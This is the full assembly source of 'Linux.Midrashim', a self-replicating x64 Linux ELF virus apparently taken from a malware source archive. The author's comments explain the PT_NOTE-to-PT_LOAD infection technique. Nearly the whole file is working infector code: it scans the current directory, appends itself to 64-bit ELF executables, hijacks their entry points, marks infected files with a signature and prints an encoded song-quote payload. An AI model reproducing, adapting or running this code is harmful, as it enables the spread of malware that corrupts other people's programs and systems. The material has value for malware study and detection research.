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MalwareSourceCode/VXUG/Linux.Midrashim.asm

563 lines
30 KiB
NASM
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; Linux.Midrashim
; Written by TMZ
;
; Finished on 30.05.2020
; Released on 07.11.2020
; The release was delayed because I was trying to code a fancy 90's style payload and due to lack of time, I'll leave this to another project.
; This is my first full assembly virus and should be assembled with FASM x64.
; - relies on PT_NOTE -> PT_LOAD infection technique and should work on regular x64 ELF executables (position independent or not).
; - should use mmap but instead it uses pread and pwrite (due to lazyness).
; - stores stuff on memory buffer (r15 register).
; - infects current directory (non recursively).
; - has several parts that could have improved, like detecting first virus execution with a better approach.
;
; Payload (non destructive) is a quote from a song and it's encoded for no reason whatsoever.
;
; A big thanks for those who keeps the VX scene alive!
; Feel free to email me: tmz@null.net || tmz@syscall.sh || thomazi@linux.com
; @guitmz || @TMZvx
; https://www.guitmz.com
; https://syscall.sh
;
; Use at your own risk, I'm not responsible for any damages that this may cause, do not spread it into the wild!
;
; References:
; https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf
; https://www.wikidata.org/wiki/Q6041496
; https://legacyofkain.fandom.com/wiki/Ozar_Midrashim
; https://en.wikipedia.org/wiki/Don%27t_Be_Afraid_(album)
;
; Stack buffer:
; r15 + 0 = stack buffer (10000 bytes) = stat
; r15 + 48 = stat.st_size
; r15 + 144 = ehdr
; r15 + 148 = ehdr.class
; r15 + 152 = ehdr.pad
; r15 + 168 = ehdr.entry
; r15 + 176 = ehdr.phoff
; r15 + 198 = ehdr.phentsize
; r15 + 200 = ehdr.phnum
; r15 + 208 = phdr = phdr.type
; r15 + 212 = phdr.flags
; r15 + 216 = phdr.offset
; r15 + 224 = phdr.vaddr
; r15 + 232 = phdr.paddr
; r15 + 240 = phdr.filesz
; r15 + 248 = phdr.memsz
; r15 + 256 = phdr.align
; r15 + 300 = jmp rel
; r15 + 350 = directory size
; r15 + 400 = dirent = dirent.d_ino
; r15 + 416 = dirent.d_reclen
; r15 + 418 = dirent.d_type
; r15 + 419 = dirent.d_name
; r15 + 3000 = first run control flag
; r15 + 3001 = decoded payload
format ELF64 executable 3
SYS_EXIT = 60
SYS_OPEN = 2
SYS_CLOSE = 3
SYS_WRITE = 1
SYS_READ = 0
SYS_EXECVE = 59
SYS_GETDENTS64 = 217
SYS_FSTAT = 5
SYS_LSEEK = 8
SYS_PREAD64 = 17
SYS_PWRITE64 = 18
SYS_SYNC = 162
STDOUT = 1
EHDR_SIZE = 64
ELFCLASS64 = 2
O_RDONLY = 0
O_RDWR = 2
SEEK_END = 2
DIRENT_BUFSIZE = 1024
MFD_CLOEXEC = 1
DT_REG = 8
PT_LOAD = 1
PT_NOTE = 4
PF_X = 1
PF_R = 4
FIRST_RUN = 1
V_SIZE = 2631
segment readable executable
entry v_start
v_start:
mov r14, [rsp + 8] ; saving argv0 to r14
push rdx
push rsp
sub rsp, 5000 ; reserving 5000 bytes
mov r15, rsp ; r15 has the reserved stack buffer address
check_first_run:
mov rdi, r14 ; argv0 to rdi
mov rsi, O_RDONLY
xor rdx, rdx ; not using any flags
mov rax, SYS_OPEN
syscall ; rax contains the argv0 fd
mov rdi, rax
mov rsi, r15 ; rsi = r15 = stack buffer address
mov rax, SYS_FSTAT ; getting argv0 size in bytes
syscall ; stat.st_size = [r15 + 48]
cmp qword [r15 + 48], V_SIZE ; compare argv0 size with virus size
jg load_dir ; if greater, not first run, continue infecting without setting control flag
mov byte [r15 + 3000], FIRST_RUN ; set the control flag to [r15 + 3000] to represent virus first execution, not a great approach but will do for now
load_dir:
push "." ; pushing "." to stack (rsp)
mov rdi, rsp ; moving "." to rdi
mov rsi, O_RDONLY
xor rdx, rdx ; not using any flags
mov rax, SYS_OPEN
syscall ; rax contains the fd
pop rdi
cmp rax, 0 ; if can't open file, exit now
jbe v_stop
mov rdi, rax ; move fd to rdi
lea rsi, [r15 + 400] ; rsi = dirent = [r15 + 400]
mov rdx, DIRENT_BUFSIZE ; buffer with maximum directory size
mov rax, SYS_GETDENTS64
syscall ; dirent contains the directory entries
test rax, rax ; check directory list was successful
js v_stop ; if negative code is returned, I failed and should exit
mov qword [r15 + 350], rax ; [r15 + 350] now holds directory size
mov rax, SYS_CLOSE ; close source fd in rdi
syscall
xor rcx, rcx ; will be the position in the directory entries
file_loop:
push rcx ; preserving rcx (important!!!)
cmp byte [rcx + r15 + 418], DT_REG ; check if it's a regular file dirent.d_type = [r15 + 418]
jne .continue ; if not, proceed to next file
.open_target_file:
lea rdi, [rcx + r15 + 419] ; dirent.d_name = [r15 + 419]
mov rsi, O_RDWR
xor rdx, rdx ; not using any flags
mov rax, SYS_OPEN
syscall
cmp rax, 0 ; if can't open file, exit now
jbe .continue
mov r9, rax ; r9 contains target fd
.read_ehdr:
mov rdi, r9 ; r9 contains fd
lea rsi, [r15 + 144] ; rsi = ehdr = [r15 + 144]
mov rdx, EHDR_SIZE ; ehdr.size
mov r10, 0 ; read at offset 0
mov rax, SYS_PREAD64
syscall
.is_elf:
cmp dword [r15 + 144], 0x464c457f ; 0x464c457f means .ELF (little-endian)
jnz .close_file ; not an ELF binary, close and continue to next file if any
.is_64:
cmp byte [r15 + 148], ELFCLASS64 ; check if target ELF is 64bit
jne .close_file ; skipt it if not
.is_infected:
cmp dword [r15 + 152], 0x005a4d54 ; check signature in [r15 + 152] ehdr.pad (TMZ in little-endian, plus trailing zero to fill up a word size)
jz .close_file ; already infected, close and continue to next file if any
mov r8, [r15 + 176] ; r8 now holds ehdr.phoff from [r15 + 176]
xor rbx, rbx ; initializing phdr loop counter in rbx
xor r14, r14 ; r14 will hold phdr file offset
.loop_phdr:
mov rdi, r9 ; r9 contains fd
lea rsi, [r15 + 208] ; rsi = phdr = [r15 + 208]
mov dx, word [r15 + 198] ; ehdr.phentsize is at [r15 + 198]
mov r10, r8 ; read at ehdr.phoff from r8 (incrementing ehdr.phentsize each loop iteraction)
mov rax, SYS_PREAD64
syscall
cmp byte [r15 + 208], PT_NOTE ; check if phdr.type in [r15 + 208] is PT_NOTE (4)
jz .infect ; if yes, jackpot, start infecting
inc rbx ; if not, increase rbx counter
cmp bx, word [r15 + 200] ; check if we looped through all phdrs already (ehdr.phnum = [r15 + 200])
jge .close_file ; exit if no valid phdr for infection was found
add r8w, word [r15 + 198] ; otherwise, add current ehdr.phentsize from [r15 + 198] into r8w
jnz .loop_phdr ; read next phdr
.infect:
.get_target_phdr_file_offset:
mov ax, bx ; loading phdr loop counter bx to ax
mov dx, word [r15 + 198] ; loading ehdr.phentsize from [r15 + 198] to dx
imul dx ; bx * ehdr.phentsize
mov r14w, ax
add r14, [r15 + 176] ; r14 = ehdr.phoff + (bx * ehdr.phentsize)
.file_info:
mov rdi, r9
mov rsi, r15 ; rsi = r15 = stack buffer address
mov rax, SYS_FSTAT
syscall ; stat.st_size = [r15 + 48]
.append_virus:
; getting target EOF
mov rdi, r9 ; r9 contains fd
mov rsi, 0 ; seek offset 0
mov rdx, SEEK_END
mov rax, SYS_LSEEK
syscall ; getting target EOF offset in rax
push rax ; saving target EOF
call .delta ; the age old trick
.delta:
pop rbp
sub rbp, .delta
; writing virus body to EOF
mov rdi, r9 ; r9 contains fd
lea rsi, [rbp + v_start] ; loading v_start address in rsi
mov rdx, v_stop - v_start ; virus size
mov r10, rax ; rax contains target EOF offset from previous syscall
mov rax, SYS_PWRITE64
syscall
cmp rax, 0
jbe .close_file
.patch_phdr:
mov dword [r15 + 208], PT_LOAD ; change phdr type in [r15 + 208] from PT_NOTE to PT_LOAD (1)
mov dword [r15 + 212], PF_R or PF_X ; change phdr.flags in [r15 + 212] to PF_X (1) | PF_R (4)
pop rax ; restoring target EOF offeset into rax
mov [r15 + 216], rax ; phdr.offset [r15 + 216] = target EOF offset
mov r13, [r15 + 48] ; storing target stat.st_size from [r15 + 48] in r13
add r13, 0xc000000 ; adding 0xc000000 to target file size
mov [r15 + 224], r13 ; changing phdr.vaddr in [r15 + 224] to new one in r13 (stat.st_size + 0xc000000)
mov qword [r15 + 256], 0x200000 ; set phdr.align in [r15 + 256] to 2mb
add qword [r15 + 240], v_stop - v_start + 5 ; add virus size to phdr.filesz in [r15 + 240] + 5 for the jmp to original ehdr.entry
add qword [r15 + 248], v_stop - v_start + 5 ; add virus size to phdr.memsz in [r15 + 248] + 5 for the jmp to original ehdr.entry
; writing patched phdr
mov rdi, r9 ; r9 contains fd
mov rsi, r15 ; rsi = r15 = stack buffer address
lea rsi, [r15 + 208] ; rsi = phdr = [r15 + 208]
mov dx, word [r15 + 198] ; ehdr.phentsize from [r15 + 198]
mov r10, r14 ; phdr from [r15 + 208]
mov rax, SYS_PWRITE64
syscall
cmp rax, 0
jbe .close_file
.patch_ehdr:
; patching ehdr
mov r14, [r15 + 168] ; storing target original ehdr.entry from [r15 + 168] in r14
mov [r15 + 168], r13 ; set ehdr.entry in [r15 + 168] to r13 (phdr.vaddr)
mov r13, 0x005a4d54 ; loading virus signature into r13 (TMZ in little-endian)
mov [r15 + 152], r13 ; adding the virus signature to ehdr.pad in [r15 + 152]
; writing patched ehdr
mov rdi, r9 ; r9 contains fd
lea rsi, [r15 + 144] ; rsi = ehdr = [r15 + 144]
mov rdx, EHDR_SIZE ; ehdr.size
mov r10, 0 ; ehdr.offset
mov rax, SYS_PWRITE64
syscall
cmp rax, 0
jbe .close_file
.write_patched_jmp:
; getting target new EOF
mov rdi, r9 ; r9 contains fd
mov rsi, 0 ; seek offset 0
mov rdx, SEEK_END
mov rax, SYS_LSEEK
syscall ; getting target EOF offset in rax
; creating patched jmp
mov rdx, [r15 + 224] ; rdx = phdr.vaddr
add rdx, 5
sub r14, rdx
sub r14, v_stop - v_start
mov byte [r15 + 300 ], 0xe9
mov dword [r15 + 301], r14d
; writing patched jmp to EOF
mov rdi, r9 ; r9 contains fd
lea rsi, [r15 + 300] ; rsi = patched jmp in stack buffer = [r15 + 208]
mov rdx, 5 ; size of jmp rel
mov r10, rax ; mov rax to r10 = new target EOF
mov rax, SYS_PWRITE64
syscall
cmp rax, 0
jbe .close_file
mov rax, SYS_SYNC ; commiting filesystem caches to disk
syscall
.close_file:
mov rax, SYS_CLOSE ; close source fd in rdi
syscall
.continue:
pop rcx
add cx, word [rcx + r15 + 416] ; adding directory record lenght to cx (lower rcx, for word)
cmp rcx, qword [r15 + 350] ; comparing rcx counter with r10 (directory records total size)
jne file_loop ; if counter is not the same, continue loop. Exit virus otherwise
cmp byte [r15 + 3000], FIRST_RUN ; checking if custom control flag we set earlier indicates virus first execution
jnz infected_run ; if control flag != 1, it should be running from an infected file, use normal payload
call show_msg ; if control flag == 1, assume virus is being executed for the first time and display a different message
info_msg:
db 'Midrashim by TMZ (c) 2020', 0xa ; not the nicest approach like I mentioned before but quick to implement
info_len = $-info_msg
show_msg:
pop rsi ; info_msg address to rsi
mov rax, SYS_WRITE
mov rdi, STDOUT ; display payload
mov rdx, info_len
syscall
jmp cleanup ; cleanup and exit
infected_run:
; 1337 encoded payload, very hax0r
call payload
msg:
; payload first part
db 0x59, 0x7c, 0x95, 0x95, 0x57, 0x9e, 0x9d, 0x57
db 0xa3, 0x9f, 0x92, 0x57, 0x93, 0x9e, 0xa8, 0xa3
db 0x96, 0x9d, 0x98, 0x92, 0x57, 0x7e, 0x57, 0x98
db 0x96, 0x9d, 0x57, 0xa8, 0x92, 0x92, 0x57, 0x96
db 0x57, 0x9f, 0xa2, 0x94, 0x92, 0x57, 0x9f, 0x9c
db 0x9b, 0x9c, 0x94, 0xa9, 0x96, 0xa7, 0x9f, 0x9e
db 0x98, 0x57, 0x89, 0x9c, 0x9d, 0x96, 0x9b, 0x93
db 0x57, 0x7a, 0x98, 0x73, 0x9c, 0x9d, 0x96, 0x9b
db 0x93, 0x57, 0xa4, 0x96, 0x9b, 0xa0, 0x9e, 0x9d
db 0x94, 0x57, 0x99, 0x92, 0xa3, 0xa4, 0x92, 0x92
db 0x9d, 0x57, 0xa3, 0x9f, 0x92, 0x57, 0x94, 0xa9
db 0x96, 0x9e, 0x9d, 0x57, 0x92, 0x9b, 0x92, 0xa5
db 0x96, 0xa3, 0x9c, 0xa9, 0xa8, 0x57, 0x96, 0x9d
db 0x93, 0x57, 0xa3, 0xa9, 0x92, 0x92, 0xa8, 0x41
db 0x7c, 0x9f, 0x5b, 0x57, 0x9e, 0x95, 0x57, 0x7e
db 0x57, 0x9f, 0x96, 0x93, 0x57, 0xa3, 0x9f, 0x92
db 0x57, 0x9a, 0x9c, 0x9d, 0x92, 0xae, 0x57, 0x7e
db 0x54, 0x93, 0x57, 0x9f, 0x96, 0xa5, 0x92, 0x57
db 0x54, 0x92, 0x9a, 0x57, 0x9a, 0x96, 0xa0, 0x92
db 0x57, 0x9c, 0x9d, 0x92, 0x57, 0x9c, 0x95, 0x57
db 0xa3, 0x9f, 0x9c, 0xa8, 0x92, 0x57, 0x9a, 0x92
db 0x5b, 0x57, 0xa3, 0x9f, 0x92, 0x9d, 0x57, 0x7e
db 0x54, 0x93, 0x57, 0xa8, 0x92, 0x9d, 0x93, 0x57
db 0x9a, 0xae, 0xa8, 0x92, 0x9b, 0x95, 0x57, 0xa3
db 0x9c, 0x57, 0xa8, 0xa3, 0x96, 0x9b, 0xa0, 0x57
db 0xa3, 0x9f, 0x92, 0x57, 0x9b, 0x96, 0x9d, 0x93
db 0xa8, 0x98, 0x96, 0xa7, 0x92, 0x57, 0x96, 0x9d
db 0x93, 0x57, 0xa8, 0x98, 0x96, 0xa9, 0x92, 0x57
db 0x92, 0xa5, 0x92, 0xa9, 0xae, 0x99, 0x9c, 0x93
db 0xae, 0x41, 0x8e, 0x9c, 0xa2, 0x57, 0xa8, 0x92
db 0x92, 0x5b, 0x57, 0x54, 0x98, 0x96, 0xa2, 0xa8
db 0x92, 0x57, 0x7e, 0x57, 0x94, 0x9c, 0xa3, 0x57
db 0xa3, 0x9f, 0x9e, 0xa8, 0x57, 0xa8, 0x9c, 0xa9
db 0xa3, 0x57, 0x9c, 0x95, 0x57, 0x95, 0x9e, 0x92
db 0x9b, 0x93, 0x57, 0x99, 0x92, 0x9f, 0x9e, 0x9d
db 0x93, 0x57, 0x9a, 0x92, 0x5d, 0x57, 0x79, 0x92
db 0x98, 0x96, 0xa2, 0xa8, 0x92, 0x5d, 0x5d, 0x5d
db 0x57, 0x54, 0x98, 0x96, 0xa2, 0xa8, 0x92, 0x57
db 0x7e, 0x54, 0xa5, 0x92, 0x57, 0x94, 0x9c, 0xa3
db 0x57, 0xa8, 0xa7, 0x9e, 0xa0, 0x92, 0xa8, 0x41
db 0x79, 0x92, 0x98, 0x96, 0xa2, 0xa8, 0x92, 0x57
db 0x7e, 0x57, 0x94, 0x9c, 0x57, 0x99, 0x92, 0xa3
db 0xa4, 0x92, 0x92, 0x9d, 0x57, 0xa3, 0x9f, 0x92
db 0x57, 0xb1, 0x9c, 0x9d, 0x92, 0xa8, 0x5b, 0x57
db 0x92, 0xa5, 0x92, 0x9d, 0x57, 0xa4, 0x9f, 0x92
db 0x9d, 0x57, 0x7e, 0x54, 0x9a, 0x57, 0x9d, 0x9c
db 0xa3, 0x57, 0xa8, 0xa2, 0xa7, 0xa7, 0x9c, 0xa8
db 0x92, 0x93, 0x57, 0xa3, 0x9c, 0x41, 0x79, 0x92
db 0x98, 0x96, 0xa2, 0xa8, 0x92, 0x57, 0x7e, 0x54
db 0x9a, 0x57, 0x96, 0x57, 0xa8, 0xa2, 0xa8, 0xa7
db 0x9e, 0x98, 0x9e, 0x9c, 0xa2, 0xa8, 0x57, 0xa7
db 0x92, 0xa9, 0xa8, 0x9c, 0x9d, 0x57, 0xa9, 0x92
db 0xa7, 0x9c, 0xa9, 0xa3, 0x57, 0x41, 0x76, 0x9d
db 0x93, 0x57, 0x9e, 0xa3, 0x54, 0xa8, 0x57, 0xa3
db 0x9e, 0x9a, 0x92, 0x57, 0xa3, 0x9c, 0x57, 0x94
db 0x9c, 0x57, 0xa8, 0x9f, 0x9c, 0xa7, 0xa7, 0x9e
db 0x9d, 0x94, 0x5d, 0x59, 0x41, 0x37, 0x41
; payload second part
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x55
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x55, 0x55, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x55
db 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x55, 0x55, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x58
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55
db 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x57, 0x55
db 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55
db 0x55, 0x55, 0x58, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55
db 0x55, 0x55, 0x5d, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x55, 0x55, 0x57, 0x57, 0x57
db 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x52, 0x55, 0x55, 0x55, 0x55, 0x55
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x55
db 0x55, 0x55, 0x55, 0x5d, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x5d
db 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x55, 0x55, 0x55, 0x55, 0x55, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x55, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x55, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x55
db 0x55, 0x55, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55
db 0x55, 0x55, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55
db 0x57, 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x55
db 0x55, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x57, 0x55
db 0x55, 0x55, 0x55, 0x55, 0x55, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x55, 0x55, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x55, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x55, 0x55, 0x55, 0x55, 0x57, 0x55
db 0x55, 0x55, 0x52, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x61, 0x55, 0x55, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x57, 0x55
db 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x55, 0x55, 0x57, 0x55
db 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x55, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x55, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x41
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57, 0x57
db 0x57, 0x57, 0x57, 0x57, 0x57, 0x55, 0x57, 0x55
db 0x41
len = $-msg
payload:
pop rsi ; setting up decoding loop
mov rcx, len
lea rdi, [r15 + 3001]
.decode:
lodsb ; load byte from rsi into al
sub al, 50 ; decoding it
xor al, 5
stosb ; store byte from al into rdi
loop .decode ; sub 1 from rcx and continue loop until rcx = 0
lea rsi, [r15 + 3001] ; decoded payload is at [r15 + 3000]
mov rax, SYS_WRITE
mov rdi, STDOUT ; display payload
mov rdx, len
syscall
cleanup:
add rsp, 5000 ; restoring stack so host process can run normally, this also could use some improvement
pop rsp
pop rdx
v_stop:
xor rdi, rdi ; exit code 0
mov rax, SYS_EXIT
syscall
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